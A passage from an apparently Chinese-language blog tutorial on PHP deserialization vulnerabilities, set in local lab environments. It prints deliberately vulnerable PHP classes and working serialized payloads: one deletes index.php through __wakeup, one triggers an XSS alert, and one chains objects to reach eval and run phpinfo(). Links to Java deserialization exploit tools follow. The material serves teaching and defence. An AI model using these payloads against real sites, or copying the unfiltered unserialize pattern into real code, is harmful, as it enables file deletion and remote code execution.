通过上面案例我们可以看到魔法方法在某些情况下是自动调用的,比如我们在反序列化过程中会直接调用__wakeup() 和__destruct(),中间不需要其他手段,就完成方法的调用。接下来我们进行靶场练习,本地靶场搭建自己看web渗透靶场(pikachu,DVWA)本地搭建环境配置_dreamthe的博客-CSDN博客
假设我们程序本来的作用是来存储临时文件,当程序执行完成,将文件删除。处理不当就造成了任意文件删除。
可以看到在网站目录下有一个文件2.php和index.php。2.php代码如下
<?php class logfile { //文件名 public $filename = ''; //临时文件存储 public function logdata($text) { echo 'log data:'.$text.'<br />'; file_put_contents($this->filename,$text,FILE_APPEND); } //当脚本结束删除文件 public function __wakeup() { echo '__destruct deletes '.$this->filename.'file.<br />'; unlink(dirname(__FILE__).'/'.$this->filename); } } $usr = unserialize($_GET['test']);//参数输入 ?> //2.php
O:7:"logfile":1:{s:8:"filename";s:9:"index.php";}
访问2.php文件,原本本意不是删除index.php,我们通过其他渠道知道该网站目录下有这个文件,就可以利用该漏洞删除index.php.当我们访问时给入参数,在看目录就会发现index.php删除了。为啥产生漏洞了,第一我们输入的参数可控,第二对于参数没有进行过滤。
4.2.pikachu的反序列漏洞案列
这里我们直接看源码代码,代码中对于输入的数据进行判断如果输入的不是序列号的数据显示大兄弟,如果是序列化数据,就将变量值在页面显示出来,由于还是对于参数没有过滤产生漏洞,如果我们构造如下payload,就会弹窗。
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
4.3其他函数利用
因为__wakeup函数是反序列化时候自动调用的,如果漏洞危险代码在wakeup函数里面是很好利用,也很方面。但是如果漏洞存在普通方法,不在魔法方法里面,那该如何利用呢。
分析下面代码 ,代码原来调用testclass类创建对象,创建对象触发魔法方法调用__construct()函数,接着调用testing1类,执行脚本结束,又触发魔法方法__destruct()函数,调用action()方法,将类名以字符串打印出来。但是这里有一个testing2类,如果调用它,如果参数test2的值是合法的字符串,那么eval会将该值以php代码执行。
<?php class testclass { var $test; function __construct() { $this->test = new testing1(); } function __destruct() { $this->test->action(); } } class testing1 { function action() { echo "testing1"; } } class testing2 { var $test2; function action() { eval($this->test2); } } $aa = new testclass(); unserialize($_GET['test']); ?> //3.php
构造payload
当序列化值输入进行,在反序列化过程时__construcr()函数调用的就是testing2()类,$test2="phphinfo;" 以此类推将test的值以PHP代码执行。
O:9:"testclass":1:{s:4:"test";O:8:"testing2":1:{s:5:"test2";s:10:"phpinfo();";}}
访问3.php,可以看到代码成功执行。
5.序列化格式字母含义
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
6.反序列化漏洞原理
在开发过程中,我们为了方便快捷我们用到很多类,如果我们需要那个功能直接调用类就行了,有的时候类里面的一些变量也是需要在不同脚本文件中重复使用,为了方便使用了序列化以及反序列化。因为序列化将我们的变量很好储存以及运输,不会因为其他脚本执行完成,变量释放掉了,导致变量不能使用,就可以使变量能够跨脚本执行,这个过程中如果对于用户输入的参数没有很好检测,过滤就会导致在反序列化过程中被恶意控制,进而造成代码执行,getshell等等危害。例如在靶场pikachu的案例,就是没有过滤导致漏洞产生。还有可能就是对于一些魔术方法使用不当造成。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。总结我觉得反序列化得配合代码审计,如果是黑盒渗透,需要多方面渗透,难度还是有的。
7.反序列化防御
主要对于参数的过滤,不要相信用户输入的任何参数。
参考链接 PHP反序列化漏洞原理与复现 - 简书
-
Jackson 最新反序列化漏洞(CVE-2019-14361和CVE-2019-14439)
2021-05-08 12:05:06Jackson官方github仓库发布安全issue,涉及漏洞CVE-2019-14361和CVE-2019-14439,均是针对CVE-2019-12384漏洞的绕过利用方式,当用户提交一个精心构造的恶意JSON数据到WEB服务器端时,可导致远程任意代码执行。... -
【漏洞分析】反序列化漏洞
2022-02-21 19:55:01从CVE官网找到的CVE-2022-21350漏洞是属于Weblogic的未授权访问和拒绝服务漏洞,CVSS评分也只有6.5,和这里的反序列化似乎不是一个漏洞。从漏洞的简要描述来看这个漏洞似乎也不是CVE-2022-21306。 本篇文章主要是... -
Java反序列化漏洞利用工具.zip
2020-04-10 16:44:09java反序列化漏洞利用工具包含jboss|weblogic,网上其实有很多,但是用别人的工具收30分是不是有点不厚道,所以我用自己的分下载下来,然后以最低分贡献给大家,上次没有审核通过,希望这次可以 -
javaRMI反序列化漏洞验证工具
2017-08-21 12:03:46检测javaRMI反序列化漏洞 -
shiro反序列化漏洞
2021-01-17 14:43:27shrio反序列化漏洞一、漏洞介绍Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。... -
基于字节码搜索的Java反序列化漏洞调用链挖掘方法.pdf
2021-06-27 10:52:09基于字节码搜索的Java反序列化漏洞调用链挖掘方法.pdf -
Java反序列化漏洞利用工具(WebLogic&Jboss)
2016-01-01 20:09:46使用注意: 1. WebLogic反弹需要等5秒左右 2. 该工具为对外测试版,请尽量按照正常思路来用,比如Url填写清楚,IP地址写对了,报错或者抛异常神马的别怪我,调输入校验好蛋疼。 本工具与网上已公布工具优点: ... -
Apache shiro1.2.4反序列化漏洞介绍.docx
2020-07-01 22:40:05Apache shiro1.2.4反序列化漏洞介绍 Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次... -
fastjson反序列化漏洞
2020-06-04 10:49:27文章目录一、fastjson 1.2.24反序列化漏洞1.1 漏洞简介1.1.1 漏洞阐述1.1.2 影响范围1.1.4 漏洞原理1.1.3 限制条件1.2 环境搭建1.3 漏洞利用1.4 防御建议二、fastjson 1.2.47反序列化漏洞 一、fastjson 1.2.24反序...